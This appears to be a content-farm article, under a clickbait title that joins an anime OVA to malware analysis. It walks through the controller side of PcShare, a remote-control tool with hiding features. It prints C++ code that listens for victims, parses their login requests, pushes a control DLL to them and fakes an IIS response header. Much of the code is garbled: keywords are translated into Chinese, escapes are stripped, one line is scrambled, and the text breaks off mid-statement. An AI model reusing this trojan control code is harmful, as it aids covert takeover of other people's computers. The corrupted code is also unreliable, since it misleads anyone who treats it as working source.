首页>>科技 >>内容

小千开发日记动漫ova,安全开发之Pcshare流程分析

发布时间:2023-10-01 23:04:15编辑:温柔的背包来源:

很多朋友对小千开发日记动漫ova,安全开发之Pcshare流程分析不是很了解,每日小编刚好整理了这方面的知识,今天就来带大家一探究竟。

小千开发日记动漫ova,安全开发之Pcshare流程分析

前言

PCshare是一款功能强大的电脑远程控制软件,采用HTTP反向通信,具有强大的隐藏和自愈功能。

代码下载:https://github.com/xdnice/PCShare

源码编译

下载源码后直接升级编译即可。

打开pcshare解决方案文件,有12个项目。

其中,PcShare是远程控制控制端的主项目界面,PcStat是受控端的父文件,PcClient是PcStat发布和加载的受控端的组件之一。主要用于建立HTTP连接,通过HTTP GET请求本地主机信息。方法发送至控制端进行在线连接。 HTTP在线连接成功建立后,将请求并下载用于后续交互式执行特定命令请求的控制dll——PcCortr。接下来的交互操作就是控制端发出控制命令,控制dll执行该命令。并将命令的执行结果反馈到控制终端进行显示,从而达到远程控制目标主机的目的。

代码分析

为了方便调试和分析pcshare的交互过程,需要提前设置一些配置属性。在受控端的父程序中,在PcStat工程中配置受控端的IP地址和端口号、分布式控制dll的文件名以及受控端的启动方式。 (L76 在PcStat.cpp 的CPcStatApp:InsertDllToProcess 中配置)。

这些启动配置信息是根据实际情况设置的。

pcshare服务器逻辑

首先,我们看一下pcshare网络框架的服务器部分。

一般来说,网络程序分为服务器程序和客户端程序。 pcshare的服务器程序集成在控制端(PcShare项目)中,使用MFC框架编写,因此可以从CPcShareApp:InitInstance函数中查看控制端程序逻辑。在此函数中,执行一些初始化操作后,CMainFrame:StartWork 函数创建一个网络服务。

建立网络服务之前的初始化操作包括:

* 创建名为`PcShare2005`的互斥对象以确保单个实例运行;

* 初始化windows下的socket环境;

* 初始化接口相关信息。

BOOL CPcShareApp:InitInstance(){//保证只启动一次m_LockHandle=CreateMutex(NULL,TRUE,'PcShare2005');if(m_LockHandle==NULL||GetLastError()==ERROR_ALREADY_EXISTS)returnFALSE;ReleaseMutex(m_LockHandle); //初始化SOCKET环境WSADATA data;if(WSAStartup(MAKEWORD(2, 2), data))returnFALSE;if(LOBYTE(data.wVersion) !=2|| HIBYTE(data.wVersion) !=2){WSACleanup( ) ;returnFALSE;}//初始化控制环境AfxEnableControlContainer();//Enable3dControls(); CoInitialize(NULL);memset(m_MainValue, 0, sizeof(m_MainValue));//启动主界面CMainFrame* pFrame=newCMainFrame;m_pMainWnd=pFrame ;pFrame-LoadFrame(IDR_MAINFRAME);pFrame-ShowWindow(SW_SHOWMAXIMIZED);pFrame-ResizeWnd ();pFrame-UpdateWindow();pFrame-StartWork();returnTRUE;}

在CMainFrame:StartWork 函数内部,完成了4 件事

* 获取本地IP地址列表并显示在事件窗口中;

* 设置窗口`PcShare2005(VIP版)-主控制界面:[本地IP地址列表]`;

* 通过读取配置文件获取启用TCP服务器监听的端口号,并启用监听(SOCKET StartTcp(WORD Port));

* 启动一个工作线程等待受控端连接。线程函数为MyGlobalFuc.cpp --- SOCKET StartTcp(WORD Port)函数

voidCMainFrame:StartWork(){//连接主页//获取INI文件名charm_IniFileName[256]={ 0}; GetIniFileName(m_IniFileName); //获取IP地址列表信息PHOSTENT hostinfo;字符名[512]={ 0}; if(gethostname(name, sizeof(name)) !=0||(hostinfo=gethostbyname(name))==NULL){ShowMyText('获取本地地址列表失败', TRUE);return;}CString m_AddrList;structsockaddr_in dest ;for(inti=0; hostinfo-h_addr_list[i] !=NULL; i++){memcpy((dest.sin_addr),hostinfo-h_addr_list[i],hostinfo-h_length);m_AddrList +=inet_ntoa(dest.sin_addr) ; m_AddrList +='-';}charm_Text[512]={ 0};sprintf(m_Text, '本地IP 地址列表: [%s]',m_AddrList.Left(m_AddrList.GetLength() - 1));ShowMyText( m_Text , FALSE);wsprintf(m_Text, 'PcShare2005(VIP版)-主控界面: %s', m_AddrList.Left(m_AddrList.GetLength() - 1));SetWindowText(m_Text);//打开在线监听端口charm_sPortMain [100]={ 0};GetPrivateProfileString('设置', '自动在线连接端口', '80', m_sPortMain, 99, m_IniFileName);m_MainSocket=StartTcp(atoi(m_sPortMain));if(m_MainSocket==NULL) { ShowMyText('控制端口被占用,初始化失败,请关闭iis服务!', TRUE); return;}wsprintf(m_Text, '本地监听端口[%s]', m_sPortMain);ShowMyText(m_Text, FALSE) ;//启动监听线程ShowMyText('初始化成功,等待客户连接', FALSE);UINTm_Id=0;_beginthreadex(NULL, 0, MyMainThread, (LPVOID)m_MainSocket, 0, m_Id);}

其中SOCKET StartTcp(WORD Port)函数主要完成服务器监听socket的配置。该函数内完成了启动网络服务的操作,包括:

* 创建一个“阻塞”套接字;

* 绑定本地地址(INADDR\_ANY);

* 设置socket发送和接收数据的超时时间;

* 监听从配置文件中获取的端口号;

如果一切顺利执行,将返回一个阻塞的套接字,并启用网络服务监控。

SOCKET StartTcp(WORD Port){SOCKET sListenSocket;sockaddr_in addr;intoptval=600* 1000;memset(addr, 0, sizeof(addr));addr.sin_family=AF_INET;addr.sin_addr.s_addr=htonl(INADDR_ANY);addr. sin_port=htons(端口);sListenSocket=套接字(AF_INET, SOCK_STREAM, 0);if(sListenSocket==INVALID_SOCKET)returnNULL;if(bind(sListenSocket, (sockaddr*)addr, sizeof(addr))==SOCKET_ERROR){closesocket (sListenSocket);returnNULL;}if(setsockopt(sListenSocket, SOL_SOCKET, SO_SNDTIMEO,(char*)optval, sizeof(optval))==SOCKET_ERROR){closesocket(sListenSocket);returnNULL;}if(setsockopt(sListenSocket, SOL_SOCKET, SO_RCVTIMEO) ,(char*)optval, sizeof(optval))==SOCKET_ERROR){closesocket(sListenSocket);returnNULL;}if(listen(sListenSocket, SOMAXCONN)==SOCKET_ERROR){closesocket(sListenSocket);returnNULL;}returnsListenSocket;}

创建的工作线程最终会执行MyMainThread函数(MyThreadFunc.cpp),该函数主要完成

* 等待受控客户端连接;

* 为每个受控终端创建一个线程来处理后续的交互。

一旦受控终端连接成功,就会获得一个新的socket。这个socket与之前开启网络服务创建的监听socket不同。这里的socket用于与所连接的受控端进行通信。由于监听套接字是阻塞的,所以这里的accept函数会阻塞相应工作线程的执行,直到受控端连接成功。所以这就是为什么需要为每个受控终端额外创建一个单独的线程,用于后续的交互。另外,这个无限循环只有在accept调用失败时才会退出。

//监听线程UINTWINAPI MyMainThread(LPVOID lPvoid){UINTm_Id=0;SOCKET m_LisSocket=(SOCKET)lPvoid;SOCKET m_AccSocket=0;while(1){//等待客户连接if((m_AccSocket=Accept(m_LisSocket, 0, 0))==INVALID_SOCKET)break;//开始客户签入thread_beginthreadex(NULL, 0, MyChildThread, (LPVOID)m_AccSocket, 0, m_Id);}closesocket(m_LisSocket);return0;}

此时的线程情况如下。

一旦受控端连接成功,程序就会创建一个工作线程与所连接的受控端进行交互。该线程的执行流程函数为MyChildThread(MyThreadFunc.cpp)

在线程函数的回调函数内,通过AcceptClientMain(MyGlobalFuc.cpp L64)解析受控端的登录请求。解析成功后,将获取受控终端请求的类型。

//接收连接线程UINTWINAPI MyChildThread(LPVOID lPvoid){LOG_NORMAL('启动MyChildThread成功,ThreadID=%u.',GetCurrentThreadId()); //事务处理SOCKET sClientSocket=(SOCKET)lPvoid;CLIENTITEMclientItem={ 0} ;intnCmd=AcceptClientMain(sClientSocket, clientItem);LOG_NORMAL('Client cmd=%d', nCmd);if(nCmd==-1)closesocket( sClientSocket);elseif(nCmd==CONN_MAIN)LoginTrans(sClientSocket, clientItem); elseInterTrans(sClientSocket, clientItem, nCmd);return0;}

在AcceptClientMain函数中

首先解析受控端发送的HTTP请求头

然后解析GET请求的数据,按照双方指定的报文格式进行分析。

intAcceptClientMain(SOCKET s,LPCLIENTITEM pData){charch=0;intnlinelen=0;charslinedata[8192]={0};intret=0;//接收一行数据while(1){//接收一个字符ret=recv (s ,ch,1,0);if(ret==0|| ret==SOCKET_ERROR || m_MainValue.m_IsMainExit)return-1;//提取数据slinedata[nlinelen]=ch;if(nlinelen=4slinedata[nlinelen ]==''slinedata[nlinelen - 1]==''slinedata[nlinelen - 2]==''slinedata[nlinelen - 3]=='')break;if(nlinelen++ 8000)return-1;}TRACE( '%s',slinedata);char* pFlag=strchr(slinedata,'/');if(pFlag==NULL) return-1;if(*(pFlag + 1)=='/'){pFlag +=2; pFlag=strchr(pFlag,'/');if(pFlag==NULL) return-1;}pFlag ++;//获取连接类型charm_sCommand[10]={0};memcpy(m_sCommand,pFlag,4) ; intm_Command=atoi(m_sCommand);//检查命令是否合法if(m_Command 4999|| m_Command 3000)return-1;//复制登录数据AscToBcd((BYTE*)(pFlag + 4), (BYTE*) pData -m_SysInfo , sizeof(LOGININFO) * 2);returnm_Command;}

测试过程中,收到的请求头为:

双方的消息格式用如下结构体表示,可以结合受控端的请求对应关系来查看。

structLogin{int命令; //命令号,前四个字符charexternData[2048]; //以下数据};

受控端使用GET请求的URL:

经过一定的处理后,AcceptClientMain函数会解析出命令号。

之后,登录请求恢复。登录请求是与受控端主机相关的信息,稍后在受控端进行分析。

解析完成后,会根据解析出的命令号来决定走哪条分支:

当是在线请求时,会执行LoginTrans函数(MyThreadFunc.cpp)。在这个函数里面

首先响应客户的要求;

之后下发控制文件dll,被控端会下载这个dll文件进行后续控制;

如果连接已经在线,则发起socket close事件通知,并将主机从接口中移除;

填充客户端信息并通知UI界面(通过发送消息WM_ADDCLIENT)添加新的客户端信息。

voidLoginTrans(SOCKET s, LPCLIENTITEM pData){//发回确认头信息if(!SendKeepAlive(s))return;//发送机器控制文件charm_FileName[512]='PcCortr.dll';GetMyFilePath(m_FileName);if( !SendFile(s, m_FileName))return;//支持自动更新if(pData-m_SysInfo.m_PcName[61]==1){strcpy(m_FileName, 'PcStat.exe');GetMyFilePath(m_FileName);if(!SendFile ( s, m_FileName))return;strcpy(m_FileName, 'PcClient.dll');GetMyFilePath(m_FileName);if(!SendFile(s, m_FileName))return;}//启动socket关闭事件通知if(WSAAsyncSelect(s , m_MainValue.m_MainhWnd, WM_CLOSEITEM, FD_CLOSE)==SOCKET_ERROR){closesocket(s);return;}//填写客户信息sockaddr_in m_addr={ 0};intaddrlen=sizeof(sockaddr_in);getpeername(s, (sockaddr*)m_addr , addrlen);charmTid[9]={ 0};memcpy(mTid, pData-m_SysInfo.ID, 8);sprintf(pData-m_Title, '%03d.%03d.%03d.%03d:%s',m_addr . SIN_ADDR.S_UN.S_UN_UN_B.S_B1,M_ADDR.SIN_ADDR.S_UN.S_UN.S_UN_B.S_B2,M_ADDR.SIN_ADDR.SIN_ADDR.S_UN.S_UN_UN_UN_B.S_B3,m_ADDR.SIN_ADDR.SIN_ADDR.S_ADDR.S_UN.S_UN.S_UN_UN_B.S_B.S_B.B4,MIMCTIMES=TIMENE=TIMENTIME:CTIMETTIME;pData-m_LoginTime=(time_t)tLogin.GetTime();pData-m_WorkSocket=s;//通知主框架连接已建立if(!SendMessage(m_MainValue.m_MainhWnd, WM_ADDCLIENT, (WPARAM)pData, 0) ){关闭套接字;}}

此时,主控制终端界面上会显示在线控制终端信息。

对受控端请求的响应是通过SendKeepAlive(MyThreadFunc.cpp)函数完成的:

拼接出响应头,响应受控端的请求;

然后通过SendData函数响应受控端请求。

boolSendKeepAlive(SOCKET s){charm_sCommand[512]={ 0};charm_Strlen[256];strcpy(m_sCommand, 'HTTP/1.1 200 OK');strcat(m_sCommand, '服务器: Microsoft-IIS/5.0');CTime t=CTime:GetCurrentTime();sprintf(m_Strlen, '日期: %s GMT',t.FormatGmt('%a, %d %b %Y %H:%M:%S'));strcat(m_sCommand, m_Strlen);sprintf(m_Strlen, '内容长度: %d', 1024* 1024* 1024);strcat(m_sCommand, m_Strlen);strcat(m_sCommand, '连接: 关闭');strcat(m_sCommand, '缓存控制:无缓存');if(!SendData(s, m_sCommand, strlen(m_sC

以上知识分享希望能够帮助到大家!